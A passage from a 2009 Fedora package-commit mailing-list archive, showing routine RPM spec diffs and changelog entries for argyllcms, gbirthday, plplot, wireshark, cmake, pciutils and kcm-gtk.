 Version: 1.0.4
-Release: 2%{?alphatag}%{?dist}
+Release: 3%{?alphatag}%{?dist}
 Summary: ICC compatible color management system
 
 Group:   User Interface/X
@@ -74,6 +74,7 @@ This package contains the Argyll color m
 # Salvage policy files
 mv libusb/19-color.fdi .
 mv libusb/color-device-file.policy .
+mv libusb/55-Argyll.rules .
 
 # Remove useless bundled libs to make sure we don't accidentally include them
 rm -fr tiff libusb libusbw
@@ -101,6 +102,13 @@ install -d -m 0755 %{buildroot}%{_datadi
 install -p -m 0644 color-device-file.policy \
         %{buildroot}%{_datadir}/PolicyKit/policy/
 
+install -d -m 0755 %{buildroot}%{_datadir}/PolicyKit/policy/
+install -p -m 0644 color-device-file.policy \
+        %{buildroot}%{_datadir}/PolicyKit/policy/
+
+install -d -m 0755 %{buildroot}/lib/udev/rules.d/
+install -p -m 0644 55-Argyll.rules \
+        %{buildroot}/lib/udev/rules.d/
 
 %clean
 rm -rf %{buildroot}
@@ -114,6 +122,7 @@ rm -rf %{buildroot}
 %{_datadir}/color/argyll
 %{_datadir}/hal/fdi/policy/10osvendor/19-color.fdi
 %{_datadir}/PolicyKit/policy/color-device-file.policy
+/lib/udev/rules.d/55-Argyll.rules
 
 %exclude %{_datadir}/doc
 
@@ -123,6 +132,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Richard Hughes <rhughes at redhat.com> - 1.0.4-3
+- Install the udev rules file so users can get the correct device
+  permissions on F12 and above which does not use HAL policy files.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tomspur at fedoraproject.org  Fri Oct 30 17:13:54 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 17:13:54 +0000 (UTC)
Subject: rpms/gbirthday/EL-5 .cvsignore, 1.2, 1.3 gbirthday.spec, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091030171354.C7F4611C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28760

Modified Files:
	.cvsignore gbirthday.spec sources 
Log Message:
Update to new release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Sep 2009 21:45:05 -0000	1.2
+++ .cvsignore	30 Oct 2009 17:13:54 -0000	1.3
@@ -1 +1 @@
-gbirthday-0.5.1.tar.lzma
+gbirthday-0.5.2.tar.gz


Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/EL-5/gbirthday.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gbirthday.spec	24 Sep 2009 21:23:26 -0000	1.3
+++ gbirthday.spec	30 Oct 2009 17:13:54 -0000	1.4
@@ -1,19 +1,20 @@
 Name:			gbirthday
-Version:		0.5.1
+Version:		0.5.2
 Release:		1%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
 URL:			http://gbirthday.sourceforge.net
-Source:			http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.lzma
+Source:                 http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.gz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
-BuildRequires:	/usr/bin/lzma
+BuildRequires:  intltool
 Requires:		evolution
 Requires:		python
 Requires:		pygtk2
+Requires:               MySQL-python
 
 %description
 GBirthday is a birthday reminder application that helps you to remember 
@@ -38,13 +39,14 @@ desktop-file-install \
 	--add-only-show-in="GNOME;KDE;XFCE;" \
 	--dir=%{buildroot}%{_sysconfdir}/xdg/autostart/ \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
+%find_lang %{name}
 
 %clean
 rm -rf %{buildroot}
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Changelog COPYING
+%doc Changelog COPYING README
 %{_bindir}/gbirthday
 %{_datadir}/applications/%{name}.desktop
 %{_datadir}/gbirthday/
@@ -52,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- New Release
+
 * Wed Sep 23 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.1-1
 - New Release
 - Changing description (now also supports Thunderbird, Sunbird...


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 21:45:05 -0000	1.3
+++ sources	30 Oct 2009 17:13:54 -0000	1.4
@@ -1 +1 @@
-2fd93fcb42c483735536946359b5f52c  gbirthday-0.5.1.tar.lzma
+836b898df0e434a0adba3bd3961ea099  gbirthday-0.5.2.tar.gz



From tomspur at fedoraproject.org  Fri Oct 30 17:20:55 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 17:20:55 +0000 (UTC)
Subject: rpms/gbirthday/EL-5 gbirthday.spec,1.4,1.5
Message-ID: <20091030172055.DDBA311C0371@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31382

Modified Files:
	gbirthday.spec 
Log Message:
missing BR gettext



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/EL-5/gbirthday.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gbirthday.spec	30 Oct 2009 17:13:54 -0000	1.4
+++ gbirthday.spec	30 Oct 2009 17:20:55 -0000	1.5
@@ -1,6 +1,6 @@
 Name:			gbirthday
 Version:		0.5.2
-Release:		1%{?dist}
+Release:		2%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
@@ -10,6 +10,7 @@ BuildRoot:		%{_tmppath}/%{name}-%{versio
 BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
+BuildRequires:  gettext
 BuildRequires:  intltool
 Requires:		evolution
 Requires:		python
@@ -54,6 +55,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-2
+- Missing BR: gettext
+
 * Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
 - New Release
 



From rhughes at fedoraproject.org  Fri Oct 30 17:23:20 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Fri, 30 Oct 2009 17:23:20 +0000 (UTC)
Subject: rpms/argyllcms/devel argyllcms.spec,1.13,1.14
Message-ID: <20091030172321.1E4DC11C00E8@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/argyllcms/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32315

Modified Files:
	argyllcms.spec 
Log Message:
* Fri Oct 30 2009 Richard Hughes <rhughes at redhat.com> - 1.0.4-3
- Install the udev rules file so users can get the correct device
  permissions on F12 and above which does not use HAL policy files.



Index: argyllcms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argyllcms/devel/argyllcms.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- argyllcms.spec	24 Jul 2009 17:03:21 -0000	1.13
+++ argyllcms.spec	30 Oct 2009 17:23:20 -0000	1.14
@@ -5,7 +5,7 @@
 
 Name:    argyllcms
 Version: 1.0.4
-Release: 2%{?alphatag}%{?dist}
+Release: 3%{?alphatag}%{?dist}
 Summary: ICC compatible color management system
 
 Group:   User Interface/X
@@ -74,6 +74,7 @@ This package contains the Argyll color m
 # Salvage policy files
 mv libusb/19-color.fdi .
 mv libusb/color-device-file.policy .
+mv libusb/55-Argyll.rules .
 
 # Remove useless bundled libs to make sure we don't accidentally include them
 rm -fr tiff libusb libusbw
@@ -101,6 +102,13 @@ install -d -m 0755 %{buildroot}%{_datadi
 install -p -m 0644 color-device-file.policy \
         %{buildroot}%{_datadir}/PolicyKit/policy/
 
+install -d -m 0755 %{buildroot}%{_datadir}/PolicyKit/policy/
+install -p -m 0644 color-device-file.policy \
+        %{buildroot}%{_datadir}/PolicyKit/policy/
+
+install -d -m 0755 %{buildroot}/lib/udev/rules.d/
+install -p -m 0644 55-Argyll.rules \
+        %{buildroot}/lib/udev/rules.d/
 
 %clean
 rm -rf %{buildroot}
@@ -114,6 +122,7 @@ rm -rf %{buildroot}
 %{_datadir}/color/argyll
 %{_datadir}/hal/fdi/policy/10osvendor/19-color.fdi
 %{_datadir}/PolicyKit/policy/color-device-file.policy
+/lib/udev/rules.d/55-Argyll.rules
 
 %exclude %{_datadir}/doc
 
@@ -123,6 +132,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 30 2009 Richard Hughes <rhughes at redhat.com> - 1.0.4-3
+- Install the udev rules file so users can get the correct device
+  permissions on F12 and above which does not use HAL policy files.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From orion at fedoraproject.org  Fri Oct 30 17:25:03 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 17:25:03 +0000 (UTC)
Subject: rpms/plplot/devel plplot.spec,1.94,1.95
Message-ID: <20091030172503.4100C11C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/plplot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv445

Modified Files:
	plplot.spec 
Log Message:
Add some extra files



Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/devel/plplot.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- plplot.spec	30 Oct 2009 16:57:38 -0000	1.94
+++ plplot.spec	30 Oct 2009 17:25:02 -0000	1.95
@@ -514,12 +514,14 @@ fi
 %{_datadir}/plplot%{version}/examples/cmake/modules/CMakeFortranInformation.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/export_plplot-noconfig.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/export_plplot.cmake
+%{_datadir}/plplot%{version}/examples/cmake/modules/language_support.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/pkg-config.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/plplot_configure.cmake
 %{_datadir}/plplot%{version}/examples/c/
 %{_datadir}/plplot%{version}/examples/c++/
 %{_datadir}/plplot%{version}/examples/Makefile
 %{_datadir}/plplot%{version}/examples/test_c.sh
+%{_datadir}/plplot%{version}/examples/test_c_interactive.sh
 %{_datadir}/plplot%{version}/examples/test_cxx.sh
 %{_datadir}/plplot%{version}/examples/test_diff.sh
 %{_mandir}/man3/pl*.3*
@@ -591,6 +593,7 @@ fi
 %{_libdir}/pkgconfig/plplotd-ocaml.pc
 %{_libdir}/ocaml/plplot/*.a
 %{_libdir}/ocaml/plplot/*.cmxa
+%{_libdir}/ocaml/plplot/plplot.mli
 %{_datadir}/plplot%{version}/examples/ocaml/
 %{_datadir}/plplot%{version}/examples/test_ocaml.sh
 %endif
@@ -669,6 +672,7 @@ fi
 * Fri Oct 30 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-4
 - Update to svn 10561 to fix build issues
 - Update test patch
+- Remove obsoleted driver linuxvga
 
 * Mon Oct 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-3
 - Create fortran-devel sub-package with fortran development files (bug #523543)



From rvokal at fedoraproject.org  Fri Oct 30 17:28:21 2009
From: rvokal at fedoraproject.org (=?utf-8?q?Radek_Vok=C3=A1l?=)
Date: Fri, 30 Oct 2009 17:28:21 +0000 (UTC)
Subject: rpms/wireshark/devel .cvsignore, 1.28, 1.29 sources, 1.28,
	1.29 wireshark.spec, 1.59, 1.60
Message-ID: <20091030172821.16E7411C00E8@cvs1.fedora.phx.redhat.com>

Author: rvokal

Update of /cvs/extras/rpms/wireshark/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1757

Modified Files:
	.cvsignore sources wireshark.spec 
Log Message:
upgrade to 1.2.3


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wireshark/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	21 Sep 2009 11:42:28 -0000	1.28
+++ .cvsignore	30 Oct 2009 17:28:20 -0000	1.29
@@ -1 +1 @@
-wireshark-1.2.2.tar.bz2
+wireshark-1.2.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wireshark/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	21 Sep 2009 11:42:28 -0000	1.28
+++ sources	30 Oct 2009 17:28:20 -0000	1.29
@@ -1 +1 @@
-bb5c09b8cffd461ced4d3251fddb217b  wireshark-1.2.2.tar.bz2
+c2dfc197e485a0b0072ca64b8ac4d24c  wireshark-1.2.3.tar.bz2


Index: wireshark.spec
===================================================================
RCS file: /cvs/extras/rpms/wireshark/devel/wireshark.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- wireshark.spec	21 Sep 2009 11:42:28 -0000	1.59
+++ wireshark.spec	30 Oct 2009 17:28:20 -0000	1.60
@@ -10,7 +10,7 @@
 
 Summary: 	Network traffic analyzer
 Name: 		wireshark
-Version:	1.2.2
+Version:	1.2.3
 Release: 	1%{?dist}
 License: 	GPL+
 Group: 		Applications/Internet
@@ -214,6 +214,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Radek Vokal <rvokal at redhat.com> - 1.2.3-1
+- upgrade to 1.2.3
+- http://www.wireshark.org/docs/relnotes/wireshark-1.2.3.html
+
 * Mon Sep 21 2009 Radek Vokal <rvokal at redhat.com> - 1.2.2-1
 - upgrade to 1.2.2
 - http://www.wireshark.org/docs/relnotes/wireshark-1.2.2.html



From orion at fedoraproject.org  Fri Oct 30 17:32:29 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 17:32:29 +0000 (UTC)
Subject: rpms/cmake/devel cmake-2.8.0-test.patch, NONE, 1.1 cmake.spec, 1.65,
	1.66
Message-ID: <20091030173229.F3D0911C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3887

Modified Files:
	cmake.spec 
Added Files:
	cmake-2.8.0-test.patch 
Log Message:
- Add test patch from cvs to fix Fedora build test build error


cmake-2.8.0-test.patch:
 CMakeLists.txt |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE cmake-2.8.0-test.patch ---
Index: Tests/CMakeLists.txt
===================================================================
RCS file: /cvsroot/CMake/CMake/Tests/CMakeLists.txt,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -r1.148 -r1.149
--- Tests/CMakeLists.txt	29 Oct 2009 16:45:59 -0000	1.148
+++ Tests/CMakeLists.txt	30 Oct 2009 16:08:10 -0000	1.149
@@ -1251,8 +1251,8 @@
 
   set(regex "(Problems when submitting via S*CP")
   set(regex "${regex}|Error message was: ")
-  set(regex "${regex}(Couldn.t resolve host ")
-  set(regex "${regex}|couldn.t connect to host")
+  set(regex "${regex}([Cc]ould *n.t resolve host")
+  set(regex "${regex}|[Cc]ould *n.t connect to host")
   set(regex "${regex}|libcurl was built with SSL disabled. https: not supported)")
   set(regex "${regex}|Submission method .xmlrpc. not compiled into CTest")
   set(regex "${regex}|Submission successful)")


Index: cmake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/cmake.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- cmake.spec	29 Oct 2009 21:46:11 -0000	1.65
+++ cmake.spec	30 Oct 2009 17:32:29 -0000	1.66
@@ -17,6 +17,7 @@ URL:            http://www.cmake.org
 Source0:        http://www.cmake.org/files/v2.8/cmake-%{version}%{?rcver}.tar.gz
 Source2:        macros.cmake
 Patch0:         jni_include_path.patch
+Patch1:         cmake-2.8.0-test.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  ncurses-devel, libX11-devel
@@ -52,6 +53,7 @@ The %{name}-gui package contains the Qt 
 %prep
 %setup -q -n %{name}-%{version}%{?rcver}
 %patch0 -p0
+%patch1 -p0
 # Fixup permissions
 find -name \*.h -o -name \*.cxx -print0 | xargs -0 chmod -x
 
@@ -135,9 +137,10 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
-* Tue Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc4
+* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc4
 - Update to 2.8.0 RC 4
 - Add FindJNI patch
+- Add test patch from cvs to fix Fedora build test build error
 
 * Tue Oct 13 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.4.rc3
 - Update to 2.8.0 RC 3



From mhlavink at fedoraproject.org  Fri Oct 30 17:37:35 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri, 30 Oct 2009 17:37:35 +0000 (UTC)
Subject: rpms/pciutils/F-12 pciutils.spec,1.80,1.81
Message-ID: <20091030173735.A9C6C11C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5275

Modified Files:
	pciutils.spec 
Log Message:
spec cleanup



Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- pciutils.spec	26 Oct 2009 16:20:06 -0000	1.80
+++ pciutils.spec	30 Oct 2009 17:37:35 -0000	1.81
@@ -1,25 +1,25 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	5%{?dist}
+Release:	5%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 
 #truncate too long names (#205948)
-Patch1: 	pciutils-2.2.4-buf.patch
+Patch1:		pciutils-2.2.4-buf.patch
 
 #don't segfault on systems without PCI bus (#84146)
 Patch2:		pciutils-2.1.10-scan.patch
 
 #use pread/pwrite, ifdef check is obsolete nowadays
-Patch3: 	pciutils-havepread.patch
+Patch3:		pciutils-havepread.patch
 
 #change pci.ids directory to hwdata
-Patch6: 	pciutils-2.2.1-idpath.patch
+Patch6:		pciutils-2.2.1-idpath.patch
 
 #multilib support
-Patch8: 	pciutils-3.0.2-multilib.patch
+Patch8:		pciutils-3.0.2-multilib.patch
 
 #add support for directory with another pci.ids
-Patch9: 	pciutils-dir-d.patch
+Patch9:		pciutils-dir-d.patch
 
 #platform support 3x
 Patch10:	pciutils-2.2.10-sparc-support.patch
@@ -28,8 +28,8 @@ Patch12:	pciutils-3.1.2-arm.patch
 
 License:	GPLv2+
 URL:		http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml
-BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-ExclusiveOS: 	Linux
+BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+ExclusiveOS:	Linux
 Requires:	hwdata
 BuildRequires:	sed
 Summary: PCI bus related utilities
@@ -106,7 +106,7 @@ install -p  lib/libpci.so.*.*.* $RPM_BUI
 ln -s $(basename $RPM_BUILD_ROOT%{_libdir}/*.so.*.*.*) $RPM_BUILD_ROOT%{_libdir}/libpci.so
 
 mv lib/libpci.a.toinstall lib/libpci.a
-install -p lib/libpci.a $RPM_BUILD_ROOT%{_libdir}
+install -p -m 644 lib/libpci.a $RPM_BUILD_ROOT%{_libdir}
 /sbin/ldconfig -N $RPM_BUILD_ROOT%{_libdir}
 install -p lib/pci.h $RPM_BUILD_ROOT%{_includedir}/pci
 install -p lib/header.h $RPM_BUILD_ROOT%{_includedir}/pci
@@ -120,14 +120,16 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 
 %files
 %defattr(0644, root, root, 0755)
+%doc README ChangeLog pciutils.lsm COPYING
 %{_mandir}/man8/*
 %attr(0755, root, root) /sbin/*
-%doc README ChangeLog pciutils.lsm COPYING
 
 %files libs
+%defattr(-,root,root,-)
 %{_libdir}/libpci.so.*
 
 %files devel-static
+%defattr(-,root,root,-)
 %{_libdir}/libpci.a
 
 %files devel
@@ -496,7 +498,7 @@ print out 64-bit addresses.
 * Thu May 20 1999 Bill Nottingham <notting at redhat.com>
 - update to 2.0
 
-* Mon Apr 19 1999 Jakub Jelinek  <jj at ultra.linux.cz>
+* Mon Apr 19 1999 Jakub Jelinek <jj at ultra.linux.cz>
 - update to 1.99.5
 - fix sparc64 operation
 



From rdieter at fedoraproject.org  Fri Oct 30 17:49:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 30 Oct 2009 17:49:01 +0000 (UTC)
Subject: rpms/kcm-gtk/devel kcm-gtk.sh, NONE, 1.1 .cvsignore, 1.2,
	1.3 kcm-gtk.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091030174901.3B75811C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8467/devel

Modified Files:
	.cvsignore kcm-gtk.spec sources 
Added Files:
	kcm-gtk.sh 
Log Message:
* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
- kcm-gtk-0.5.3
- .gtkrc-2.0-kde4 doesn't get used (#531788)



--- NEW FILE kcm-gtk.sh ---
#!/bin/sh

# Make sure our customised gtkrc file is loaded.
GTK2RC_KDE4=${HOME}/.gtkrc-2.0-kde4
if [ -z "${GTK2_RC_FILES}" ]; then
  GTK2_RC_FILES=${GTK2RC_KDE4}
elif ! echo ${GTK2_RC_FILES} | /bin/grep -q ${GTK2RC_KDE4} ; then
  GTK2_RC_FILES=${GTK2_RC_FILES}:${GTK2RC_KDE4}
fi
unset GTK2RC_KDE4

export GTK2_RC_FILES


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Oct 2009 20:26:25 -0000	1.2
+++ .cvsignore	30 Oct 2009 17:49:00 -0000	1.3
@@ -1 +1 @@
-kcm-gtk_0.5.1.orig.tar.gz
+kcm-gtk_0.5.3.orig.tar.gz


Index: kcm-gtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/devel/kcm-gtk.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kcm-gtk.spec	26 Oct 2009 20:26:26 -0000	1.1
+++ kcm-gtk.spec	30 Oct 2009 17:49:00 -0000	1.2
@@ -3,23 +3,30 @@
 
 Summary: Configure the appearance of GTK apps in KDE 
 Name:    kcm-gtk 
-Version: 0.5.1 
-Release: 2%{?dist}
+Version: 0.5.3
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   User Interface/Desktops
 URL:     https://launchpad.net/kcm-gtk 
-Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
+Source0: http://launchpad.net/kcm-gtk/0.5.x/%{version}/+download/kcm-gtk_%{version}.orig.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
+# set GTK2_RC_FILES=~/.gtkrc-2.0-kde4
+Source1: kcm-gtk.sh
+
 ## upstreamable patches
 # Categories += Settings, else doesn't appear in systemsettings anywhere (?)
 Patch50: kcm-gtk-0.5.1-settings_category.patch
+# ensures GTK2_RC_FILES gets used/updated on first use, avoids 
+# possible need for logout/login, code borrowed from kdebase-workspace's krdb.cpp
+Patch51: kcm-gtk-0.5.3-gtkrc_setenv.patch
 
 %if 0%{?fedora} > 11
 Obsoletes: gtk-qt-engine <= 1:1.1
 %endif
 
+BuildRequires: gettext
 BuildRequires: kdelibs4-devel
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
@@ -32,6 +39,7 @@ appearance of GTK apps in KDE.
 %setup -q 
 
 %patch50 -p1 -b .settings_category
+%patch51 -p1 -b .gtkrc_setenv
 
 
 
@@ -50,20 +58,29 @@ rm -rf %{buildroot} 
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%find_lang kcm_gtk
+
+install -p -m644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/kde/env/kcm-gtk.sh
+
 
 %clean
 rm -rf %{buildroot} 
 
 
-%files 
+%files -f kcm_gtk.lang
 %defattr(-,root,root,-)
 %doc Changelog COPYING
+%{_sysconfdir}/kde/env/kcm-gtk.sh
 %{_kde4_libdir}/kde4/kcm_gtk.so
 %{_kde4_iconsdir}/kcm_gtk.png
 %{_kde4_datadir}/kde4/services/kcmgtk.desktop
 
 
 %changelog
+* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
+- kcm-gtk-0.5.3
+- .gtkrc-2.0-kde4 doesn't get used (#531788)
+
 * Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
 - Requires: kde4-macros(api)...
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Oct 2009 20:26:26 -0000	1.2
+++ sources	30 Oct 2009 17:49:00 -0000	1.3
@@ -1 +1 @@
-adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz
+b49e2df3cce3bcb8c6dc96e7af73716d  kcm-gtk_0.5.3.orig.tar.gz



From rdieter at fedoraproject.org  Fri Oct 30 17:49:01 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 30 Oct 2009 17:49:01 +0000 (UTC)
Subject: rpms/kcm-gtk/F-12 kcm-gtk-0.5.3-gtkrc_setenv.patch, NONE,
	1.1 kcm-gtk.sh, NONE, 1.1 .cvsignore, 1.2, 1.3 kcm-gtk.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091030174901.9D37D11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8467/F-12

Modified Files:
	.cvsignore kcm-gtk.spec sources 
Added Files:
	kcm-gtk-0.5.3-gtkrc_setenv.patch kcm-gtk.sh 
Log Message:
* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.3-1
- kcm-gtk-0.5.3
- .gtkrc-2.0-kde4 doesn't get used (#531788)


kcm-gtk-0.5.3-gtkrc_setenv.patch:
 gtkrcfile.cpp |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE kcm-gtk-0.5.3-gtkrc_setenv.patch ---
diff -up kcm-gtk-0.5.3/gtkrcfile.cpp.gtkrc_setenv kcm-gtk-0.5.3/gtkrcfile.cpp
--- kcm-gtk-0.5.3/gtkrcfile.cpp.gtkrc_setenv	2009-10-23 08:07:44.000000000 -0500
+++ kcm-gtk-0.5.3/gtkrcfile.cpp	2009-10-30 12:42:28.186035811 -0500
@@ -26,6 +26,8 @@
 #include <QTextStream>
 #include <QStringList>
 #include <QtDebug>
+#include <ktoolinvocation.h>
+#include <klauncher_iface.h>
 
 QRegExp GtkRcFile::k_themeNameRe("([^/]+)/gtk-2.0/gtkrc$");
 
@@ -134,6 +136,14 @@ void GtkRcFile::save()
 	stream << "\n";
 	stream << "gtk-theme-name=\"" << m_themeName << "\"\n";
 	stream << "gtk-font-name=\"" << fontName << "\"\n";
+	
+	QByteArray gtkrc = getenv("GTK2_RC_FILES");
+	QStringList list = QFile::decodeName(gtkrc).split( ':');
+	if (!list.contains(m_fileName)) {
+	  list.append(m_fileName);
+	  QString value = QFile::encodeName(list.join(":"));
+	  KToolInvocation::klauncher()->setLaunchEnv("GTK2_RC_FILES", value);
+	}
 }
 
 void GtkRcFile::setFont(const QString& family, int pointSize, bool bold, bool italic)


--- NEW FILE kcm-gtk.sh ---
#!/bin/sh

# Make sure our customised gtkrc file is loaded.
GTK2RC_KDE4=${HOME}/.gtkrc-2.0-kde4
if [ -z "${GTK2_RC_FILES}" ]; then
  GTK2_RC_FILES=${GTK2RC_KDE4}
elif ! echo ${GTK2_RC_FILES} | /bin/grep -q ${GTK2RC_KDE4} ; then
  GTK2_RC_FILES=${GTK2_RC_FILES}:${GTK2RC_KDE4}
fi
unset GTK2RC_KDE4

export GTK2_RC_FILES


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-12/.cvsignore,v
